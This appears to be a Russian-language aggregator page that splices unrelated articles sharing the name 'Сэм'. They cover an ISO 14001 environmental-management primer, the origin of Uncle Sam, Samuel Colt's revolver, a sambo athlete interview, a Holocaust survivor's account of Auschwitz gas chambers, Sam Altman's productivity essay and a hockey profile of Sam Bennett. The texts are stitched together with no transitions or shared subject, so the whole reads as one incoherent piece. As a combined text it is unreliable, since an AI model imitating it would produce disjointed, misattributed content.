Сэм это: Что такое SAM? — Компания АЛАН

Содержание

Что такое система экологического менеджмента (СЭМ)?

Источник: автором оригинала статьи на английском языке является Марк Хаммар – сертифицированный в ASQ (American Society for Quality, – ред.) специалист по качеству и деловому совершенству. В сфере качества эксперт трудится с 1994 года. У него есть опыт работы в сфере аудитов, улучшения процессов, написания процедур для систем управления качеством и систем экологического менеджмента. Марк Хаммар – сертифицированный главный аудитор по стандартам ISO 9001, AS 9100, ISO 14001.

Система экологического менеджмента, принят акроним СЭМ, представляет из себя совокупность внутренних правил организации, складывающихся из: политик, бизнес-процессов, процедур, записей. Правила, в конечном счете, описывают одно: как компания идентифицирует, оценивает, отслеживает и управляет взаимодействием с окружающей средой. Причем, в этом аспекте, который актуален для любого предприятия, СЭМ нацелена на предотвращение негативного воздействия. При внедрении СЭМ очень важно все организовать так, чтобы она была предельно приспособлена к конкретным процессам вашей конкретной организации, поэтому важно учитывать свои потребности, когда вы приступаете к проекту внедрения ISO 14001. Однако это не снижает ценность универсальных положений стандарта, так как помимо специфики, необходимо принять во внимание и проверенные общие принципы хороших систем менеджмента. Тогда никакие существенные элементы, которыми должна обладать любая СЭМ, не окажутся упущенными в вашем случае. Организация, выпустившая ISO 14001 – Международная организация по стандартизации (ISO – International Organization for Standardization, – ред.) – на этих предпосылках модерирует выпуск универсального руководства о том, как создавать системы экологического менеджмента.

Основные элементы СЭМ

Внедрение процессов систем экологического менеджмента начинается с определения характера взаимодействия вашего бизнеса с экологией. На втором этапе происходит настройка контрольных механизмов и процедур, призванных гарантировать отсутствие негативного эффекта для окружающей среды. В работе с ISO 14001, в частности, происходит идентификация всех существующих требований к организации, которые она должна выполнять: законодательные требования, требования прочих заинтересованных сторон. Благодаря механизмам СЭМ все они учитываются в бизнес-процессах, осуществляемых компанией.

Большую роль играют вспомогательные процессы, которые обеспечивают эффективную работу СЭМ. Они являются частью системы и частью стандарта ISO 14001, но их роль особая: управление ресурсами (люди и оборудование), процедуры управления документацией (записями и документами), – все эти аспекты СЭМ позволяют убедиться, что она снабжена всем необходимым для достижения запланированных результатов. Наконец, стоит сказать, что некоторые процессы СЭМ предусмотрены ISO 14001, чтобы систематически подталкивать компанию к улучшениям. Эти последние включают методы проведения аудита, средства организации корректирующих и предупреждающих действий, методы анализа системы и экологических аспектов для руководства. Благодаря этим методам топ-менеджеры получают уверенность в том, что СЭМ и организация соответствует требованиям, а планы по улучшению выработаны и пущены в работу. Самым верным способом точно удостовериться в том, что система управления взаимосвязями компании с окружающей средой содержит все элементы, нужные для полноценной работы является сопоставление СЭМ с какой либо авторитетной спецификацией. Стандарт ISO 14001 главный свод правил в области СЭМ, который признан сегодня по всему миру и описывает все основные процессы, политики, процедуры и записи, которыми должна обладать успешная СЭМ. Стандарт не является предписывающим. Что это значит? Дело в том, что он разъясняет, что должно быть сделано для создания системы, но не останавливается на методах, не говорит, как нужно выполнить его положения. Благодаря тому, что в методах внедряющая организация свободна, ISO 14001 подходит для любой компании, любой специфики и размера.

Почему СЭМ – это важно?

Система экологического менеджмента – это больше, чем просто соответствие законодательству. Речь идет о том, что компания должна изучить и реализовать все экологические требования, которые поступают от разных заинтересованных лиц и адресуются к различным операциям, которые каждый день повторяются в компании. Какая польза самой компании? Не каждое предприятие возьмется за свое воздействие на экологию. Это значит, что вы будете одними из немногих. Уменьшая свое негативное влияние на экологию, вы, вместе с тем, еще и создаете дополнительный аргумент для клиентов, почему нужно выбрать из всех участников рыночной борьбы именно вас. СЭМ поможет не только сделать хорошее дело, но и увеличит вашу долю рынка, что не может не порадовать любого топ-менеджера.

Перевод: сотрудник «Единый Стандарт» Валентин Рахманов.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

.

Кто такой «Дядя Сэм» и откуда пошло это выражение? | История | Общество

205 лет назад, 7 сентября 1813 года, в американской прессе было впервые упомянуто выражение Uncle Sam, — «Дядя Сэм» — ставшее обозначением персонифицированного образа США и его правительства. Оно появилось на страницах еженедельника The Troy Post, издававшегося в городе Троя (штат Нью-Йорк), в статье о войне США с Англией (1812-1814 гг.). «Неодобрительная кличка, заработанная нашим правительством, стала почти столь же общеупотребительной, как нарицательное имя Джона Буля для типичного британского буржуа, недалекого и самодовольного», — писала газета. Джон Буль — это персонаж фермера из памфлета публициста Джона Арбетнота

, который стал собирательным образом типичного англичанина.

Фото: www.globallookpress.com

Откуда пошло выражение?

Считается, что выражение «Дядя Сэм» — это шутливая расшифровка сокращенного названия страны: Uncle SАm — USА. Утверждается, что оно вошло в употребление в 1812 году как производное от имени мясника из Трои. Сэмюэль (Сэм) Уилсон поставлял мясо в американскую армию в коробках с надписью U. S., что обозначало сокращённое название страны. Эти буквы совпадали с инициалами Уилсона, поэтому солдаты в шутку стали говорить, что мясо к ним прибыло от Дяди Сэма.

15 сентября 1961 года Конгресс США принял резолюцию, которая признавала Сэма Уилсона прообразом Дяди Сэма: «прародителем национального символа Америки».

Как появилось изображение Дяди Сэма?

Дядю Сэма обычно изображают как пожилого мужчину с седыми волосами и бородкой в цилиндре, расписанном под американский флаг. Одет он в синий фрак и полосатые брюки.

Предположительно, первое изображение дядюшки Сэма появилось в нью-йоркской газете «NY Lantern Weekly» 13 марта 1852 года. Однако популярным этот графический образ стал в 1860-х и 1870-х годах, когда его стал изображать карикатурист Томас Наст, которому приписывают создание современного образа Санта-Клауса, а также символов Демократической и Республиканской партий США (осла и слона соответственно). Именно в исполнении Наста Дядя Сэм обрёл белую бороду и костюм, украшенный полосками и звёздами.

Самое известное изображение Дядюшки Сэма, на котором он в цилиндре и синей куртке указывает пальцем на зрителя, создал художник Джеймс Флагг. Во время Первой мировой войны этот образ был помещён на плакат, призывавший добровольцев вступить в американскую армию. Подпись под портретом Дяди Сэма гласила «Ты нужен мне в армии Соединённых Штатов». По подобию этого постера художником Дмитрием Моором в июне 1920 года был создан знаменитый плакат времён Гражданской войны в России «Ты записался добровольцем?». Образ Дядюшки Сэма, созданный Флаггом, впоследствии активно публиковался с различными заголовками как в Первую мировую войну, так и во Вторую мировую.

Смотрите также:

Как 180 лет назад Сэм Кольт «сделал всех равными»

  • <a href=http://www.bbc.co.uk/russian/topics/blog_krechetnikov><b>Артем Кречетников</b></a>
  • Би-би-си, Москва

Автор фото, RIA Novosti

Подпись к фото,

Пару винтажных «миротворцев» президент Джеральд Форд подарил Леониду Брежневу

25 февраля 1836 года произошла революция в оружейном деле: 22-летний американец Сэмюэль Кольт получил патент за номером 9430Х на «revolving gun» — револьвер с вращающейся казенной частью.

Впервые появилась возможность вести из короткоствольного оружия беглый огонь и противостоять сразу нескольким противникам. Все современные пистолеты и револьверы ведут свою родословную от изобретения Кольта.

По мнению ряда историков, он внес вклад и в становление американской свободы и индивидуализма. Наличие на руках эффективного оружия быстро выводило в тираж субъектов с повышенной агрессивностью, а остальных вынуждало считаться с правами друг друга.

Самое знаменитое изделие фирмы, легенда Дикого Запада, 45-калиберный шестизарядный револьвер образца 1872 года получил неофициальное прозвище Peacemaker («Миротворец»).

Данная точка зрения отразилась в известной фразе: «Бог создал людей, а полковник Кольт сделал их равными». Другой вариант: «Эйб Линкольн дал всем свободу, а Сэм Кольт уравнял шансы».

Многие в США теперь готовы с этим поспорить: в наши дни в стране неконтролируемая продажа оружия чуть ли не регулярно приводит к маcсовым убийствам.

Но, как к нему ни относись, изделие Кольта — это один из символов Америки.

___________________________________________________________________________

Интересные факты

  • Идея использовать вращающийся барабан для создания многозарядного оружия витала в воздухе давно. Первое охотничье ружье с барабаном на 6 зарядов было выпущено во Франции в 1629 году.
  • Первые револьверы имели вместо вращающейся казенной части четыре или шесть стволов, занимавших боевое положение один за другим. Такое оружие называлось бюндельревольвером, а в просторечии «перечницей» . Последнюю «перечницу» запатентовал и начал выпускать в 1839 году бельгиец Мариетт. Их недостатком являлись сложная конструкция и большой вес. <image/>
  • Кольт не служил в армии ни дня, а чин бреветного (временного) полковника получил от губернатора Коннектикута за поддержку на выборах.
  • Будущий изобретатель серьезно увлекся техникой в 12 лет. Спустя два года, в День независимости, он созвал жителей родного города Хартфорд на демонстрацию собранной им подводной мины, поместил ее на середине озера, но не рассчитал силу порохового заряда. Зрителей окатило с ног до головы, и подростка чуть не побили. Заступившийся за него механик Элайша Рут впоследствии работал управляющим на оружейном заводе Кольта.
  • После года учебы Кольта выгнали из университета, якобы за то, что он, занимаясь химическими опытами, устроил пожар. Юный Сэмюэль устроился матросом на торговый бриг. Главная идея жизни осенила его, когда он наблюдал за вращением корабельного штурвала и кабестана (устройства для наматывания якорной цепи). Во время плавания Кольт выточил из дерева модель револьверного барабана, ныне хранящуюся в музее фирмы.
  • Начиная бизнес, Кольт не пользовался кредитом, а заработал денег, совершив турне, в ходе которого развлекал провинциальную публику демонстрацией воздействия на добровольцев «веселящего газа» (закиси азота).
    Случайно увидевший представление дантист Хорас Уэллс первым применил закись азота в качестве анестетика.
  • Основанная Кольтом оружейная мастерская в городе Паттерсон, Техас, в 1842 году обанкротилась из-за нехватки заказов. Выпускавшаяся там первая модель Colt Patterson сегодня является коллекционной редкостью.

Автор фото, AP

Подпись к фото,

Кольты времен Гражданской войны и освоения Дикого Запада

  • Новую жизнь в бизнес вдохнул широко растиражированный газетами инцидент 1845 года, когда 16 техасских рейнджеров, вооруженных «кольтами», отбились от 80 индейцев-команчей, уложив 35 из них.
  • В 1846 году началась война с Мексикой, и федеральное правительство заказало Кольту тысячу кавалерийских револьверов, попросив доработать их в соответствии с пожеланиями военных. Армию в конструкторской группе представлял капитан Уокер. Вскоре он погиб на войне, а созданная при его участии модель была названа в его честь.
  • Основанная Кольтом в 1855 году фабрика в Хартфорде, Коннектикут, поныне является головным предприятием фирмы. Именно там работал придуманный Марком Твеном «янки при дворе короля Артура».
  • «Сolt» по-английски «жеребенок», изображение которого стало фирменным знаком.
  • Когда Сэмюэль Кольт скоропостижно скончался в 1862 году в возрасте 48 лет, его похоронили за государственный счет, хотя он владел состоянием в 15 миллионов тогдашних (примерно 900 миллионов современных) долларов. Изобретателя проводили в последний путь, стреляя в воздух из револьверов его производства. По словам репортера местной газеты, «канонада была, как на поле боя».
  • Фирма перешла вдове Кольта, а затем стала акционерным предприятием. <image/>
  • Калибр — мера диаметра оружейного ствола, равная одной сотой дюйма (25,4 мм). Самый распространенный в мире пистолетный и револьверный калибр 38 равен 9 миллиметрам.
    Фирма «Кольт» выпускала разное оружие, но ее визитной карточкой всегда были сравнительно редкие 45-калиберные образцы (11,3 мм).
  • Один из первых в мире многозарядных автоматических пистолетов также носил имя «кольт» (1900 год).
  • Несколько десятилетий револьвер конкурировал с пистолетом, превосходя его надежностью, но уступая в емкости магазина и скорости перезарядки. В настоящее время револьверы считаются устаревшей техникой, но выпускаются и продаются в большом количестве, в основном, в США, где являются атрибутом национальной истории. Кроме того, револьвер может храниться в заряженном состоянии неопределенно долго для использования в экстремальном случае.
  • Богато украшенные «кольты» имелись в личных арсеналах всех русских императоров, начиная с Николая I. По имеющимся данным, эту же марку предпочитал великий террорист Борис Савинков.
  • Самые знаменитые модели «кольта» — револьверы Dragoon 1848-го, Peacemaker 1872-го и Python 1955 годов (выпускается поныне), а также легендарный армейский пистолет 1911 года. Наиболее популярные современные пистолеты фирмы — 45-калиберный Defender и маленький 38-калиберный Mustang. <image/>
  • Кроме пистолетов и револьверов, компания производит тяжелое армейское оружие, включая штурмовую винтовку М-16.
  • Самый большой в мире действующий револьвер, изготовленный в домашней мастерской американцем польского происхождения Ришардом Тобисом, весит 45 кг, имеет калибр 28 мм и стреляет пулями массой 138 граммов. Самый маленький — швейцарский Swiss Mini Gun, длиной 5,5 см и весом 19,8 г; калибр специально выпускаемых патронов — 2.34 миллиметра, вес пули — 0.128 грамма.
  • За полтора с лишним века Colt’s Manufacturing Company выпустила около 30 миллионов единиц оружия.
  • Право владеть оружием закреплено во Второй поправке к Конституции США, вступившей в силу 15 декабря 1791 года.
  • На руках у американцев находятся около 250 миллионов легальных револьверов, пистолетов, ружей и винтовок, две трети которых сосредоточены у 20% населения. Только в 2012 году были официально проданы 18,8 млн стволов.
  • Общественное мнение США по этому вопросу поляризовано. Сторонники оружейной свободы говорят, что Вторая поправка к конституции (о праве на оружие) необходима, чтобы правительство не забывало про Первую (о свободе слова, печати, собраний и религии).

Сэм ВАН ДУН: «Я мечтаю выступить на Олимпийских играх»

Нидерландская спортсменка Сэм Ван Дун завоевала бронзовую медаль на Международном турнире на призы Президента Татарстана в весовой категории до 65 кг среди женщин. В интервью сайту ФИАС самбистка рассказала, почему её медаль – это достижение всей команды, кто привел ее в самбо и какая у неё цель на ближайшие несколько лет.

Сэм, какие у Вас ощущения от бронзовой медали этого турнира?

– Я очень счастлива, это моя первая медаль на международных соревнованиях по самбо! У меня не хватает слов описать, насколько я счастлива! Но это не только моя медаль, это медаль для всей нашей сборной. Во время предварительных поединков мой товарищ по команде Мистраль Янссен, который на турнире выступал моим секундантом, получил травму и был вынужден отправиться в больницу. Мне пришлось выступать без его поддержки. Я смогла завоевать медаль для команды и доказать, что Голландская федерация самбо демонстрирует постоянный прогресс.

Эти соревнования стали для Вас дебютными?

– Нет, я уже выступала на международных турнирах. Накануне карантина в 2020 году я успела выступить на международном турнире в Минске (Беларусь), но тогда не очень разобралась в правилах. В этом году пробовала свои силы на Чемпионате Европы на Кипре, но вышло также не совсем успешно. И вот теперь в Казани смогла подняться на пьедестал.


Как Вы пришли в самбо?

– Именно Мистраль Янссен рассказал мне о самбо. Мы вместе занимались дзюдо, и однажды тренер предложил ему заняться самбо. Спустя время Мистраль рассказал мне об этом единоборстве, и самбо сразу же мне очень понравилось. Я получаю удовольствие от того, что в самбо разрешены разнообразные приемы, включая болевые приемы на ноги, и в целом чувствуется больше свободы, чем в других единоборствах.

В июле ФИАС получила постоянное признание Международного олимпийского комитета и уже в ближайшем будущем самбо может войти в программу Олимпийских игр…

– Я надеюсь, что это произойдет как можно скорее. Я мечтаю выступить на Олимпийских играх и буду счастлива, если смогу представлять Нидерланды на соревнованиях по самбо.

Ситуация с коронавирусом в мире остается сложной. Есть ли у спортсменов в Нидерландах возможность полноценно тренироваться?

– Мы можем тренироваться в национальном центре только один раз в неделю. Собираемся совсем небольшими группами, чтобы работать над техникой. Всё остальное время посвящаем силовым тренировкам дома или в фитнесс-центрах. К сожалению, самбо еще не очень известно в нашей стране, но, надеюсь, моя медаль – это правильный шаг в направлении популяризации самбо в Нидерландах. Люди смогут больше узнать об этом единоборстве, попробуют заниматься им из интереса или просто для разнообразия, и наверняка часть из них выберут самбо своим основным спортом.

Чем Вы занимаетесь помимо спорта?

– Я студентка, получаю бизнес-образование. Это мой последний учебный год. Надеюсь, что когда я устроюсь на работу в будущем, мой начальник будет отпускать меня на соревнования.

А какие спортивные планы у Вас на самое ближайшее будущее?

– Чемпионат мира по самбо. Я вошла в состав национальной команды и постараюсь проявить себя в Узбекистане. Что касается ближайших нескольких лет, я хочу квалифицироваться на Европейские игры. А дальше, если всё пойдёт как нужно, возможно, самбисты начнут борьбу за путевки на Олимпийские игры. И я планирую участвовать в этой борьбе.

[Фотогалерея] Кубок Президента Республики Татарстан по самбо 2021

Сэм Ицкович описывает газовые камеры в Освенциме

Газовая камера — это было помещение размером примерно вот с это, с двумя трубами, двумя… м-м, вроде дымоходов, которые поднимались до самого верха, из перфорированного металла. В них со всех сторон были пробиты отверстия примерно в четверть дюйма, четырехугольные; и там было два или три слоя листовой стали, один в другом, с отверстиями. Эти трубы поднимались наверх и выходили на крышу, которая снаружи была почти вровень с землей. Там, наверху, стояли эсесовцы, и когда бункер заполнялся… да, подождите минуту… Сначала они запускали туда всех женщин, а потом уже мужчин. Иногда оставалось 20 или 30 человек лишних, которые туда не помещались, так что детей они всегда оставляли на потом. И когда бункер уже заполнялся настолько, что больше людей уже не помешалось, не помещалось… они пускали детей ползти прямо по головам, просто заталкивали их внутрь, чтобы уместить всех. И тогда за ними захлопывалась дверь, толстая дверь, толщиной около шести дюймов. Я сам ее устанавливал и знаю, что это была за дверь: три винта, три железных засова поперек. Засовы закрывались и крепко завинчивались винтами. Те люди… эсесовцы ждали снаружи, там был фургон с эмблемой Красного Креста, и были банки… банки с газом в грузовике… в… в санитарном фургоне. Эсесовец надевал противогаз… он должен был надеть противогаз, потом срывал крышку с… с канистры с газом и запускал его в отверстие, в трубу, по которой газ попадал внутрь. Во втором и… и в третьем крематории было по две трубы для газа. И как только он запускал газ в трубу, он захлопывал крышку люка, чтобы газ не выходил наружу. И потом изнутри слышался только громкий стон: «Шма…» [начало иудейского символа веры] и больше ничего. И это занимало от пяти до десяти минут. В двери камеры было небольшое смотровое отверстие, застекленное, там было четыре или пять слоев стекла, и оно было забрано решеткой, чтобы стекло никто не мог выбить. И когда они включали свет в… в бункере, можно было увидеть, умерли уже люди или еще нет.

Сэм Альтман, президент Y Combinator: Продуктивность / Хабр

Думаю, я работаю немного продуктивнее, чем среднестатистический человек, да и многие часто спрашивают меня о том, как повысить продуктивность. Так что я решил собрать здесь все советы, которые я могу дать по этому поводу.

Обычно темпы развития обсуждаются в контексте экономики, однако это можно также применить и в карьере, что очень здорово. Маленькое зернышко продуктивности, взращиваемое на протяжении 50 лет, стоит очень многого! Поэтому необходимо выяснить, как же оптимизировать продуктивность. Если вы каждый день выполняете свою работу на 10% больше и на 1% лучше, чем кто-либо другой, итоговая разница будет просто невероятной.

Над чем вы работаете

Совсем не важно, как быстро вы движетесь к цели, если она не является стоящей. Выбор правильного объекта это самый важный аспект продуктивности и зачастую самый игнорируемый. Так что действительно задумайтесь об этом! Мыслить самостоятельно непросто, однако, стоит только начать — дальше будет легче.

Самые яркие личности из тех, кого я знаю, имеют определенные убеждение о мире — такие, которые редко встречаются среди обычной публики. Если вы замечаете, что постоянно соглашаетесь со всеми, это плохо. Иногда вы, конечно, будете не правы, однако необходимо становиться более уверенным и придерживаться своих убеждений. Это позволит вам быть храбрее, когда вы спорите насчет чего-то серьезного — такого, что многие люди не замечают.

Я стараюсь отводить определенное время в своем расписании на размышления о том, над чем я работаю. Самыми удобными способами для меня в этом смысле являются чтение книг, общение с интересными людьми и отдых на природе.

Я понял, что невозможно быть очень продуктивным при работе над теми вещами, которые меня не волнуют или которые мне не нравятся.
Так что я стараюсь не попадать в такое положение, когда мне нужно их сделать (делегируя их кому-нибудь, избегая или что-то в этом роде). Дела, которые вам не нравятся это болезненный тормоз, неблагоприятно влияющий на ваше душевной состояние и развитие.

Кроме того, вот совет относительно делегирования дел: помните, что любой человек наиболее продуктивен, когда он делает то, что ему нравится, и размышляя о том, что бы вы хотели от других людей — постарайтесь узнать, кому что нравится делать (и у кого это хорошо получается) и передавайте им свои дела, отталкиваясь от этого.
Если вам не нравится то, что вы делаете в течение длительного периода времени, серьезно подумайте о кардинальной смене работы. Краткосрочное выгорание это нормально, но если со временем это не проходит, может быть, самое время начать делать то, в чем вы более заинтересованы.

Мне очень повезло найти работу, которая нравится мне настолько, что я готов ее делать за бесплатно; это очень помогает мне быть действительно продуктивным.

Очень важно уяснить, что вы можете научиться всему, чему хотите и тем самым быстро улучшить свои компетенции. Сначала это кажется чем-то невероятным, но постепенно вы поймете, что это действительно возможно.

Выполнение тяжелой работы обычно подразумевает взаимодействие с коллегами. Постарайтесь окружить себя находчивыми, продуктивными, довольными и позитивными людьми, которые не будут высмеивать ваши амбиции. Мне нравится быть рядом с людьми, которые толкают меня вперед и вдохновляют становиться лучше. Настолько, насколько это возможно избегайте противоположного типа людей — допуск их в свою жизнь может стать ужасной ошибкой.

Вам необходимо сделать две вещи — найти проблемный аспект и начать работу. Нет никаких легких путей. Если вы собираетесь сделать что-то действительно важное, скорее всего вам придется и быть находчивым, и упорно работать. За лучшие призы всегда ведется серьезная борьба. И пусть это нельзя применить к каждой сфере деятельности (не каждый великий математик работает часы напролет семь дней в неделю), но в большинстве сфер — без этого никуда.

Расстановка приоритетов

Моя система держится на трех китах: “Обязательно сделай все важные штуки”, “Не трать время на глупости! и “старайся выполнить большинство дел из списка”.

Я настоятельно рекомендую использовать списки. Я делаю списки того, чего хочу достичь в этом году, месяце, сегодня. Списки помогают сфокусироваться, они реально помогают мне с многозадачностью, поскольку благодаря им мне не нужно держать сотню дел в голове. Если у меня нет настроения на то, чтобы выполнить определенное дело, я всегда могу заменить его тем, к чему я сегодня расположен.

Мне больше нравится писать списки на бумаге. Так легче добавлять и вычеркивать задания. Я могу заглянуть в него и в течение встречи, не нарушив этикет. Часто я переписываю списки, что заставляет меня еще раз переосмыслить то, что там написано и позволяет добавить или вычеркнуть что-то.

Я не утруждаю себя распределением дел по категориям или попыткам распределить их по объему и тому подобное (максимум — ставлю звездочку напротив реально важного аспекта).

Я стараюсь расставить приоритеты таким образом, который бы задал динамику. Чем больше я выполняю, тем лучше я себя чувствую, от чего делаю еще больше. Мне нравится начинать и заканчивать день, наблюдая свой прогресс.

Я беспощаден, когда дело касается выполнения важных проектов — я понял, что если я действительно хочу чего-то добиться и стараюсь изо всех сил, это обычно сбывается.

Я старюсь быть жестким, говоря “нет” неважным вещам и выполняя некритичные дела в максимально короткий срок. Наверное, иногда я захожу слишком далеко — например, я почти уверен, что настолько немногословен в ответах на электронные письма, что некоторые могут принять это за грубость.

Обычно я стараюсь избежать встреч и конференций, на которые придется потратить много времени — поскольку время, проведенное в кабинете, для меня максимально ценно. Необходимо, однако, оставлять достаточно места в своем расписании на внезапные встречи или общение с новыми людьми, обмен идеями. Наличие подобной “открытой сети” очень важно; и хотя примерно 90% случайных встреч — пустая трата времени, остальные 10% это восполняют.

Я понял, что лучше организовывать встречи либо длительностью по 15-20 минут, либо по 2 часа. Стандартная установка в 1 час — обычно неправильная и приводит к большому количеству впустую потраченного времени.

Я стараюсь делать разные виды работы в разное время суток. Первые несколько часов утра по определению самое продуктивное время моего дня, так что я не позволяю никому ставить что-либо в мое расписание на эти часы. Встречи я стараюсь проводить в полдень. Как только я чувствую, что начинаю терять концентрацию, я делаю перерыв или переключаюсь на другое дело.

Мне кажется, что многие люди недостаточно ценят свое время — я поражаюсь количеству знакомых, которые зарабатывают 100 долларов в час и все еще тратят пару часов на то, что им не нравится делать, чтобы сэкономить 20 долларов.

Кроме того, не становитесь заложником продуктивности — гоняться за ней бесцельно — дело неблагодарное. Многие тратят слишком много времени, размышляя о том, как бы лучше оптимизировать свои дела и даже не задумываются о том, а тем ли они заняты. Не важно, насколько вы продуктивны или сколько времени вы тратите, если вы занимаетесь не тем, что вам дорого.
Правильным будет оптимально расписать свой год, а не день.

Физические факторы

Весьма вероятно, что то, что подходит мне не подойдет вам. Вам придется поэкспериментировать и понять, что лучше всего подходит вашему телу. Это определенно стоит того, поскольку это помогает во всех аспектах жизни, как следствие вы почувствуете себя гораздо лучше и счастливее.

Каждую неделю несколько лет подряд я посвящал немного времени тому, чтобы понять, какая работа подходит мне лучшего всего, имея в виду то, что если я выполняю подходящую мне работу, я как минимум в 1,5 раза продуктивнее.

Сон для меня это один из важнейших физических факторов, влияющих на продуктивность. Некоторые устройства слежения за сном, помогающие понять, каким образом вам лучше спать, действительно полезны. Единственной вещью из категории установи-и-забудь, которой я доволен и которая мне реально нравится является Emfit QS+Active.

Мне нравится прохладное, темное, тихое помещение и огромный матрас (я отказывался тратить кучу денег на большие матрасы в течение многих лет, что было очень глупо, поскольку это очень сильно повлияло на качество моего сна. Мне особенно понравился вот этот (https://www.tempurpedic.com/shop-mattresses/tempur-contour-elite/v/715). Отказ от еды за несколько часов до сна также помогает. Отказ от алкоголя очень помогает, хотя это не значит, что я и вовсе не пью).
Я использую Chili Pad, чтобы создавать прохладу во время сна, если я не могу достаточно охладить комнату. Это очень помогает, хотя он и громкий (я приобрел его, чтобы иметь охлаждающее устройство вне комнаты).

Во время поездок куда-либо я использую маску для сна и беруши.

Возможно это спорно, но когда я не могу уснуть, я принимаю небольшую дозу снотворного (примерно треть стандартной дозы) или очень небольшую дозу марихуаны. Вообще, я очень плохо сплю, особенно в дороге. У моих методов, вероятно, есть побочный эффект, но я предлагаю это тем, кто плохо спит. Если у вас нет проблем со сном, я бы не рекомендовал прибегать к этому.

Я использую свет СИД обычно по утрам около 10-15 минут пока я отвечаю на электронные письма. Это здорово — если вы никогда так не делали — я бы посоветовал. Мне это невероятно помогает. Особенно мне понравился этот (https://www.amazon.com/gp/product/B075h49NDL/), его удобно брать с собой в поездки.

Упражнения это, наверное, второй по важности физический фактор. Я попробовал множество различных программ — каждую по несколько месяцев и больше всего мне понравилось поднятие тяжелых грузов три раза в неделю в течение часа, а также периодические высоко интенсивные тренировки. Помимо повышения продуктивности, эта программа упражнений заставляет меня чувствовать себя лучше.

Третий аспект — питание. Я очень редко ем завтра, так что в основном я часов 15 обхожусь без еды (не считая эспрессо, которое я пью после пробуждения). Я знаю, что это противоречит многим правилам и возможно вовсе не подходит многим людям, но мне — определенно подходит.

Потребление большого количества сахара это то, что заставляет меня чувствовать себя ужасно, поэтому я изо всех сил стараюсь этого не делать. Я также стараюсь не потреблять еду, которая пагубно влияет на мое пищеварение или провоцирует его раздражение (например, очень острую еду). Я практически не могу устоять перед сладостями, поэтому в основном стараюсь избегать просто фаст-фуда.

Сразу же после пробуждения я выпиваю большую чашку эспрессо, а также еще одну после ланча. Это примерно 200 мг кофеина в течение дня. Я пробовал и другие схемы, однако эта показалась мне наиболее эффективной. С одной стороны, я стараюсь избегать употребление различных стимулирующих веществ, но все же я выпью больше кофе, если чувствую себя очень уставшим или мне очень срочно нужно доделать проект.

Я вегетарианец, являюсь им с детства и восполняю отсутствие B-12, Омеги-3, железа и Витамина D-3. Около года назад я дополнил этот список тестами крови раз в три месяца, так и живу (я перепроверяюсь, наверное, раз в год или в полгода). Есть много врачей, которые будут рады помочь вам и сделать тщательный анализ крови (а также сервисы, как, например, WellnessFX). Я также бросил пить протеиновые коктейли, которые я ненавижу и не стал бы этого делать, даже если бы я не был вегетарианцем.

Другое

В рабочей атмосфере мне нравится натуральное освещение, тишина, знание того, что меня не побеспокоят, если я сам этого не захочу, длинные отрезки времени и чувство комфорта и расслабленности (у меня потрясающий стол с парой мониторов с разрешением 4К на нем, и практически все свое время я провожу на диване со своим ноутбуком).

Я написал специальную программу для раздражающих, но обязательных для выполнения вещей, и это здорово. Я также научился очень быстро печатать и это сохраненное время помогает мне оптимизировать рабочий процесс.
Как и у многих людей, периодически у меня случаются периоды длительностью в одну или две недели, когда у меня совершенно нет мотивации что-либо делать (подозреваю, что это связано с питанием). Это ужасно и почти всегда это происходит в совершенно неподходящее время. Я все еще не решил, что можно с этим сделать, кроме как ждать, когда оно само пройдет и верить, что постепенно оно пройдет. Обычно я стараюсь избегать людей и ситуации, которые приносят мне негативные эмоции; это, кстати, хороший совет — неважно, хотите вы быть продуктивным или нет.

Вообще, мне кажется, что хорошо бы брать на себя очень много дел. Я понял, что обычно я делаю все, что запланировал, а наличие дел сверх нормы, заставляет меня быть более эффективным (что является хорошим способом не отвлекаться на глупости (очень хорошая привычка!) Однако избыточная перегруженность часто опасна.

Никогда не пренебрегайте своей семьей и друзьями во имя продуктивности — это очень глупая жертва (что возможно повлечет за собой потерю продуктивности, поскольку вы станете менее счастливым). Не пренебрегайте теми вещами, которые вы любите или которые помогают вам разгрузить голову.

И наконец — говорю еще раз: быть продуктивным в неправильном направлении совершенно бесполезная штука. Больше думайте о том, над чем работаете.

Сэм Беннетт примирился со своей ролью

Было даже ощущение, что четвертый номер драфта-2014 сбился с курса.

«Раньше я не очень понимал, какая у меня тут роль, — сказал Беннетт, проводящий в НХЛ четвертый сезон. — И я не знал, где буду играть — в центре или на фланге. Сейчас мне стало комфортно на краю. Комбинация этого вместе с опытом дает мне более комфортное ощущение происходящего».

В 48 матчах чемпионата 22-летний нападающий набрал 19 (9+10) очков, в том числе 5 (3+2) в последних шести встречах.

Статистика не рассказывает всю историю целиком. На самом деле, цифры во многом стали причиной того, что он потерялся раньше.

«Когда тебя выбирают под таким номером, есть два аспекта, — сказал генеральный менеджер «Калгари» Брэд Треливинг. — Во-первых, от него есть высокие ожидания, в том числе атакующие. А во время драфта он занимал первое место в рейтинге Центрального скаутского бюро, то есть от него ждали высокой результативности».

Video: КАЛ-ДЕТ: Беннетт удачно играет в большинстве

Второе, по словам Треливинга, стало следствием событий, случившихся после драфта.

В первом тренировочном лагере он выглядел отлично, лишь подкрепив имевшиеся ожидания, однако из-за операции на плече пропустил почти весь сезон 2014-15. 11 апреля он вернулся на лед и дебютировал в НХЛ. Затем он провел 11 матчей в плей-офф, в которых набрал 4 (3+1) очка. Такое выступление Треливинг назвал невероятным.

«Так что ожидания стали еще более высокими, — сказал Треливинг. — И, соответственно, повышали его собственные ожидания от себя».

В 77 матчах своего дебютного чемпионата в НХЛ (2015-16) он набрал 36 (18+18) очков. Но в следующие два года результативность снизилась до 26 очков, что стало ударом по уверенности игрока, а его дальнейший путь окутался дымкой.

«Когда техничный игрок, которого выбрали так высоко, переходит из юниоров в НХЛ, то все ждут от него многого, а это непросто, — сказал ветеран Микаэль Бэклунд. — Так что начинать надо с работы. Не то чтобы он плохо трудился, но понял, что если играть правильно, награда придет».

Взросление Беннетта помогло ему осознать, что ценность в НХЛ может представлять не только результативность. В его игре всегда была решительность, которая вновь в нее вернулась.

 

 [Смотри также: Годро достигает новых высот с «Флэймз»]

 

«Втайне он всегда был жестким игроком, который не боится вступить в борьбу или вступиться за партнера, — сказал Бэклунд. — Это просто отличный одноклубник».

Беннетт понимает, что ему еще надо многому научиться, чтобы стать лучшим игроком в НХЛ.

